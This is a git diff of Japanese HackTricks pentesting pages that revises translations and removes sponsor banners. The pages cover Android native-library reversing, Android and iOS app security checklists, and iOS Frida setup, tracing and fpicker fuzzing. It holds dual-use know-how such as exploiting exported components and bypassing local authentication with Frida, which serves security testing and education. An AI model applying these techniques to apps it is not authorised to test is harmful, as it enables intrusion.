最後に、**新しいアプリケーションに署名する**必要があります。[署名する方法については、このページのセクション Smali - Decompiling/\[Modifying\]/Compiling を読んでください](smali-changes.md#sing-the-new-apk)。
|
||||
最後に、**新しいアプリケーションに署名する**必要があります。[署名する方法については、このページのSmali - Decompiling/\[Modifying\]/Compilingのセクションをお読みください](smali-changes.md#sing-the-new-apk)。
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -74,7 +66,7 @@ GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png"
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを送信してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# ネイティブライブラリの逆アセンブル
|
||||
# ネイティブライブラリのリバースエンジニアリング
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -15,35 +15,22 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html)
|
||||
|
||||
Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェアの作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりも逆アセンブルが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化した逆アセンブルスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。
|
||||
Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェア作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりもリバースエンジニアリングが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化したリバースエンジニアリングスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。
|
||||
|
||||
### 重要なポイント:
|
||||
|
||||
* **Androidアプリのネイティブライブラリ:**
|
||||
* パフォーマンス集約型のタスクに使用されます。
|
||||
* CまたはC++で書かれており、逆アセンブルが難しいです。
|
||||
* パフォーマンス集約型タスクに使用されます。
|
||||
* CまたはC++で書かれており、リバースエンジニアリングが難しいです。
|
||||
* Linuxバイナリに似た`.so`(共有オブジェクト)形式で見つかります。
|
||||
* マルウェアの作成者は、分析を難しくするためにネイティブコードを好みます。
|
||||
* マルウェア作成者は分析を難しくするためにネイティブコードを好みます。
|
||||
* **Javaネイティブインターフェース(JNI)とAndroid NDK:**
|
||||
* JNIは、Javaメソッドをネイティブコードで実装できるようにします。
|
||||
* NDKは、ネイティブコードを書くためのAndroid特有のツールセットです。
|
||||
* JNIとNDKは、Java(またはKotlin)コードとネイティブライブラリを橋渡しします。
|
||||
* JNIはJavaメソッドをネイティブコードで実装することを可能にします。
|
||||
* NDKはネイティブコードを書くためのAndroid特有のツールセットです。
|
||||
* JNIとNDKはJava(またはKotlin)コードとネイティブライブラリを橋渡しします。
|
||||
* **ライブラリの読み込みと実行:**
|
||||
* ライブラリは`System.loadLibrary`または`System.load`を使用してメモリに読み込まれます。
|
||||
* JNI\_OnLoadはライブラリの読み込み時に実行されます。
|
||||
|
@ -51,34 +38,23 @@ Androidアプリは、パフォーマンスが重要なタスクのために通
|
|||
* **Javaメソッドをネイティブ関数にリンクする:**
|
||||
* **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。
|
||||
* **静的リンク:** `RegisterNatives`を使用してリンクし、関数名や構造に柔軟性を提供します。
|
||||
* **逆アセンブルツールと技術:**
|
||||
* GhidraやIDA Proなどのツールがネイティブライブラリの分析を助けます。
|
||||
* **リバースエンジニアリングツールと技術:**
|
||||
* GhidraやIDA Proなどのツールはネイティブライブラリの分析に役立ちます。
|
||||
* `JNIEnv`はJNI関数と相互作用を理解するために重要です。
|
||||
* ライブラリの読み込み、メソッドのリンク、ネイティブ関数の特定を練習するための演習が提供されています。
|
||||
|
||||
### リソース:
|
||||
|
||||
* **ARMアセンブリの学習:**
|
||||
* 基盤となるアーキテクチャを深く理解するために推奨されます。
|
||||
* 基礎的なアーキテクチャの理解を深めるために推奨されます。
|
||||
* Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されます。
|
||||
* **JNIとNDKのドキュメント:**
|
||||
* **JNIおよびNDKドキュメント:**
|
||||
* [OracleのJNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
* [AndroidのJNIのヒント](https://developer.android.com/training/articles/perf-jni)
|
||||
* [AndroidのJNIヒント](https://developer.android.com/training/articles/perf-jni)
|
||||
* [NDKの始め方](https://developer.android.com/ndk/guides/)
|
||||
* **ネイティブライブラリのデバッグ:**
|
||||
* [JEBデコンパイラを使用してAndroidネイティブライブラリをデバッグする](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,14 +15,6 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [Androidの基本を学ぶ](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [基本](android-app-pentesting/#fundamentals-review)
|
||||
|
@ -41,20 +33,20 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
### [静的分析](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細についてはここを読んでください](android-app-pentesting/#other-checks)。
|
||||
* [ ] [難読化](android-checklist.md#some-obfuscation-deobfuscation-information)の使用を確認し、モバイルがルート化されているか、エミュレーターが使用されているか、アンチタンパリングチェックを行います。[詳細はこちらをお読みください](android-app-pentesting/#other-checks)。
|
||||
* [ ] 機密アプリケーション(銀行アプリなど)は、モバイルがルート化されているか確認し、それに応じて行動する必要があります。
|
||||
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)(パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなど)を探します。
|
||||
* [ ] [Firebase](android-app-pentesting/#firebase)APIに特に注意を払います。
|
||||
* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] アプリケーションがデバッグモードであるか確認し、「エクスプロイト」しようとします。
|
||||
* [ ] アプリケーションがデバッグモードであるか確認し、「エクスプロイト」してみます。
|
||||
* [ ] APKがバックアップを許可しているか確認します。
|
||||
* [ ] エクスポートされたアクティビティ
|
||||
* [ ] コンテンツプロバイダー
|
||||
* [ ] 公開されたサービス
|
||||
* [ ] ブロードキャストレシーバー
|
||||
* [ ] URLスキーム
|
||||
* [ ] アプリケーションは[内部または外部にデータを不安全に保存しているか](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)?アプリは[不安全な暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] アプリケーションは[内部または外部にデータを安全でない方法で保存しているか](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] [パスワードがハードコーディングされているか、ディスクに保存されているか](android-app-pentesting/#poorkeymanagementprocesses)?アプリは[安全でない暗号アルゴリズムを使用しているか](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] すべてのライブラリがPIEフラグを使用してコンパイルされていますか?
|
||||
* [ ] このフェーズで役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんあることを忘れないでください。
|
||||
|
||||
|
@ -62,11 +54,11 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
* [ ] 環境を準備する([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] [意図しないデータ漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/ペースト、クラッシュログ)はありますか?
|
||||
* [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか?
|
||||
* [ ] [エクスプロイト可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか?
|
||||
* [ ] [エクスプロイト可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか?
|
||||
* [ ] [エクスプロイト可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか?
|
||||
* [ ] [エクスプロイト可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)はありますか?
|
||||
* [ ] [SQLiteデータベースに機密情報が保存されているか](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [エクスプロイト可能なエクスポートされたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [エクスプロイト可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [エクスプロイト可能な公開サービス](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [エクスプロイト可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] アプリケーションは[平文で情報を送信しているか/弱いアルゴリズムを使用しているか](android-app-pentesting/#insufficient-transport-layer-protection)?MitMは可能ですか?
|
||||
* [ ] [HTTP/HTTPSトラフィックを検査する](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を探すことができます(HacktricksにはWebの脆弱性に関する多くの情報があります)。
|
||||
|
@ -75,14 +67,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
### 一部の難読化/デオブフスケーション情報
|
||||
|
||||
* [ ] [ここを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
* [ ] [こちらをお読みください](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -23,14 +23,6 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### 準備
|
||||
|
||||
* [ ] [**iOSの基本**](ios-pentesting/ios-basics.md)を読む
|
||||
|
@ -77,7 +69,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
|
||||
### **ローカル認証**
|
||||
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているか確認する必要があります。
|
||||
* [ ] アプリケーションで[**ローカル認証**](ios-pentesting/#local-authentication)が使用されている場合、認証がどのように機能しているかを確認する必要があります。
|
||||
* [ ] [**ローカル認証フレームワーク**](ios-pentesting/#local-authentication-framework)を使用している場合、簡単に回避される可能性があります。
|
||||
* [ ] [**動的に回避可能な関数を使用している場合**](ios-pentesting/#local-authentication-using-keychain)、カスタムFridaスクリプトを作成できます。
|
||||
|
||||
|
@ -86,27 +78,27 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
* [**カスタムURIハンドラー / ディープリンク / カスタムスキーム**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
* [ ] アプリケーションが**プロトコル/スキームを登録しているか確認する**
|
||||
* [ ] アプリケーションが**プロトコル/スキームを使用するために登録しているか確認する**
|
||||
* [ ] アプリケーションが**カスタムスキームからの機密情報を受け取ることを期待しているか確認する**、それが**別のアプリケーションによって傍受される**可能性があります。
|
||||
* [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていないか確認する**、そして**脆弱性が悪用される**可能性があります。
|
||||
* [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか確認する**、カスタムスキームを介して。
|
||||
* [ ] アプリケーションがカスタムスキームから**機密情報を受け取ることを期待しているか確認する**、他のアプリケーションが同じスキームを登録して**傍受**できる可能性があります。
|
||||
* [ ] アプリケーションがカスタムスキームを介してユーザー入力を**確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性があります**。
|
||||
* [ ] アプリケーションがカスタムスキームを介してどこからでも呼び出すことができる**機密アクションを公開しているか確認する**
|
||||
* [**ユニバーサルリンク**](ios-pentesting/#universal-links)
|
||||
* [ ] アプリケーションが**ユニバーサルプロトコル/スキームを登録しているか確認する**
|
||||
* [ ] `apple-app-site-association`ファイルを確認する
|
||||
* [ ] アプリケーションが**カスタムスキームを介してユーザー入力を確認およびサニタイズしていないか確認する**、そして**脆弱性が悪用される**可能性があります。
|
||||
* [ ] アプリケーションが**どこからでも呼び出すことができる機密アクションを公開しているか確認する**、カスタムスキームを介して。
|
||||
* [ ] アプリケーションがカスタムスキームを介してユーザー入力を**確認およびサニタイズしていない**場合、いくつかの**脆弱性が悪用される可能性があります**。
|
||||
* [ ] アプリケーションがカスタムスキームを介してどこからでも呼び出すことができる**機密アクションを公開しているか確認する**
|
||||
* [**UIActivity共有**](ios-pentesting/ios-uiactivity-sharing.md)
|
||||
* [ ] アプリケーションがUIActivitiesを受け取ることができ、特別に作成されたアクティビティで脆弱性を悪用できるか確認する。
|
||||
* [ ] アプリケーションがUIActivitiesを受け取ることができ、特別に作成されたアクティビティで脆弱性を悪用できるか確認する
|
||||
* [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
|
||||
* [ ] アプリケーションが**一般的なペーストボードに何かをコピーしているか確認する**
|
||||
* [ ] アプリケーションが**一般的なペーストボードのデータを何かに使用しているか確認する**
|
||||
* [ ] ペーストボードを監視して、**機密データがコピーされているか確認する**
|
||||
* [**アプリ拡張**](ios-pentesting/ios-app-extensions.md)
|
||||
* [ ] アプリケーションが**拡張機能を使用しているか**?
|
||||
* [ ] アプリケーションは**拡張機能を使用していますか**?
|
||||
* [**WebViews**](ios-pentesting/ios-webviews.md)
|
||||
* [ ] どの種類のWebViewが使用されているか確認する
|
||||
* [ ] 使用されているWebViewの種類を確認する
|
||||
* [ ] **`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**の状態を確認する
|
||||
* [ ] WebViewが**ファイルプロトコル**で**ローカルファイルにアクセスできるか確認する**(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Javascriptが**ネイティブ**メソッドにアクセスできるか確認する(`JSContext`、`postMessage`)
|
||||
* [ ] WebViewが**file://**プロトコルで**ローカルファイルにアクセスできるか確認する**(`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`)
|
||||
* [ ] Javascriptが**ネイティブ**の**メソッド**(`JSContext`、`postMessage`)にアクセスできるか確認する
|
||||
|
||||
### ネットワーク通信
|
||||
|
||||
|
@ -119,12 +111,6 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
* [ ] [**自動パッチ/更新**](ios-pentesting/#hot-patching-enforced-updateing)メカニズムを確認する
|
||||
* [ ] [**悪意のあるサードパーティライブラリ**](ios-pentesting/#third-parties)を確認する
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -143,7 +129,7 @@ GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -15,42 +15,28 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Installing Frida
|
||||
|
||||
**Jailbroken デバイスに Frida をインストールする手順:**
|
||||
**JailbrokenデバイスにFridaをインストールする手順:**
|
||||
|
||||
1. Cydia/Sileo アプリを開く。
|
||||
2. Manage -> Sources -> Edit -> Add に移動する。
|
||||
3. URL として "https://build.frida.re" を入力する。
|
||||
4. 新しく追加した Frida ソースに移動する。
|
||||
5. Frida パッケージをインストールする。
|
||||
1. Cydia/Sileoアプリを開く。
|
||||
2. Manage -> Sources -> Edit -> Addに移動する。
|
||||
3. URLとして「https://build.frida.re」を入力する。
|
||||
4. 新しく追加したFridaソースに移動する。
|
||||
5. Fridaパッケージをインストールする。
|
||||
|
||||
**Corellium** を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) から Frida リリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`)そして、展開して Frida が要求する dylib の場所にコピーします。例: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`)そして、Fridaが要求するdylibの場所に解凍してコピーします。例: `/Users/[youruser]/.cache/frida/gadget-ios.dylib`
|
||||
|
||||
インストール後、PC で **`frida-ls-devices`** コマンドを使用してデバイスが表示されることを確認します(PC がデバイスにアクセスできる必要があります)。\
|
||||
また、**`frida-ps -Uia`** を実行して電話の実行中のプロセスを確認します。
|
||||
インストール後、PCで**`frida-ls-devices`**コマンドを使用してデバイスが表示されることを確認します(PCがデバイスにアクセスできる必要があります)。\
|
||||
また、**`frida-ps -Uia`**を実行して電話の実行中のプロセスを確認します。
|
||||
|
||||
## Frida without Jailbroken device & without patching the app
|
||||
## JailbrokenデバイスなしでFridaを使用する方法 & アプリをパッチしない方法
|
||||
|
||||
非 Jailbroken デバイスでアプリをパッチせずに Frida を使用する方法についてのブログ投稿を確認してください: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
アプリをパッチせずに非jailbrokenデバイスでFridaを使用する方法についてのブログ投稿を確認してください: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07)
|
||||
|
||||
## Frida Client Installation
|
||||
|
||||
**frida tools** をインストールする:
|
||||
**frida toolsをインストールする:**
|
||||
```bash
|
||||
pip install frida-tools
|
||||
pip install frida
|
||||
|
@ -60,7 +46,7 @@ Fridaサーバーがインストールされ、デバイスが起動して接続
|
|||
frida-ls-devices # List devices
|
||||
frida-ps -Uia # Get running processes
|
||||
```
|
||||
## Frida Trace
|
||||
## Frida トレース
|
||||
```bash
|
||||
# Functions
|
||||
## Trace all functions with the word "log" in their name
|
||||
|
@ -211,7 +197,7 @@ Stalker.flush(); // this is important to get all events
|
|||
|
||||
## [Fpicker](https://github.com/ttdennis/fpicker)
|
||||
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供する **Fridaベースのファジングスイート** です。Fridaがサポートするすべてのプラットフォームで動作するはずです。
|
||||
[**fpicker**](https://github.com/ttdennis/fpicker) は、**Fridaベースのファジングスイート**で、AFL++モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供します。Fridaがサポートするすべてのプラットフォームで動作するはずです。
|
||||
|
||||
* [**fpickerをインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa**
|
||||
```bash
|
||||
|
@ -242,7 +228,7 @@ mkdir -p examples/wg-log/in # For starting inputs
|
|||
# Create at least 1 input for the fuzzer
|
||||
echo Hello World > examples/wg-log/in/0
|
||||
```
|
||||
* **ファズァースクリプト** (`examples/wg-log/myfuzzer.js`):
|
||||
* **Fuzzerスクリプト** (`examples/wg-log/myfuzzer.js`):
|
||||
|
||||
{% code title="examples/wg-log/myfuzzer.js" %}
|
||||
```javascript
|
||||
|
@ -313,7 +299,7 @@ rpc.exports.fuzzer = f;
|
|||
## Compile from "myfuzzer.js" to "harness.js"
|
||||
frida-compile examples/wg-log/myfuzzer.js -o harness.js
|
||||
```
|
||||
* **`radamsa`**を使用してfuzzer **`fpicker`**を呼び出します:
|
||||
* **`radamsa`**を使用してfuzzer **`fpicker`**を呼び出します:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -324,9 +310,9 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
この場合、私たちは**各ペイロードの後にアプリを再起動したり、状態を復元したりしていません**。したがって、Fridaが**クラッシュ**を見つけた場合、そのペイロードの後の**次の入力**も**アプリをクラッシュさせる可能性があります**(アプリが不安定な状態にあるため)、たとえ**入力がアプリをクラッシュさせるべきでない**場合でもです。
|
||||
この場合、私たちは**各ペイロードの後にアプリを再起動したり、状態を復元したりしていません**。したがって、Fridaが**クラッシュ**を見つけた場合、そのペイロードの**次の入力**も**アプリをクラッシュさせる可能性があります**(アプリが不安定な状態にあるため)、たとえ**入力がアプリをクラッシュさせるべきでない場合でも**。
|
||||
|
||||
さらに、FridaはiOSの例外信号にフックするため、**Fridaがクラッシュを見つけた場合**、おそらく**iOSクラッシュレポートは生成されません**。
|
||||
さらに、FridaはiOSの例外信号にフックするため、**Fridaがクラッシュを見つけた場合、恐らく**iOSのクラッシュレポートは生成されません**。
|
||||
|
||||
これを防ぐために、たとえば、各Fridaクラッシュの後にアプリを再起動することができます。
|
||||
{% endhint %}
|
||||
|
@ -335,7 +321,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
|
|||
|
||||
**macOSコンソール**または**`log`** CLIを使用してmacOSのログを確認できます。\
|
||||
また、**`idevicesyslog`**を使用してiOSのログも確認できます。\
|
||||
一部のログは情報を省略し、**`<private>`**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からいくつかのプロファイルをインストールして、そのプライベート情報を有効にする必要があります。
|
||||
一部のログは情報を省略し、**`<private>`**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からプロファイルをインストールして、そのプライベート情報を有効にする必要があります。
|
||||
|
||||
何をすべきかわからない場合:
|
||||
```sh
|
||||
|
@ -361,7 +347,7 @@ killall -9 logd
|
|||
* `~/Library/Logs/DiagnosticReports`
|
||||
|
||||
{% hint style="warning" %}
|
||||
iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアする必要があります。さもなければ、iOSはクラッシュの作成を停止します。
|
||||
iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアしないとiOSはクラッシュを作成しなくなります。
|
||||
{% endhint %}
|
||||
|
||||
## Frida Android チュートリアル
|
||||
|
